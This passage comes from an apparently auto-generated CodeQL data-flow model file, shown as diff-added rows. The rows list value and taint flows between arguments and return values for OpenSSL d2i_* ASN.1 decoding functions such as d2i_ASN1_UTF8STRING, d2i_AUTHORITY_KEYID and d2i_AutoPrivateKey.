"(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_UTF8STRING", "(ASN1_UTF8STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_VISIBLESTRING", "(ASN1_VISIBLESTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASRange", "(ASRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_INFO_ACCESS", "(AUTHORITY_INFO_ACCESS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_AUTHORITY_KEYID", "(AUTHORITY_KEYID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey", "(EVP_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_AutoPrivateKey_ex", "(EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_BASIC_CONSTRAINTS", "(BASIC_CONSTRAINTS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", 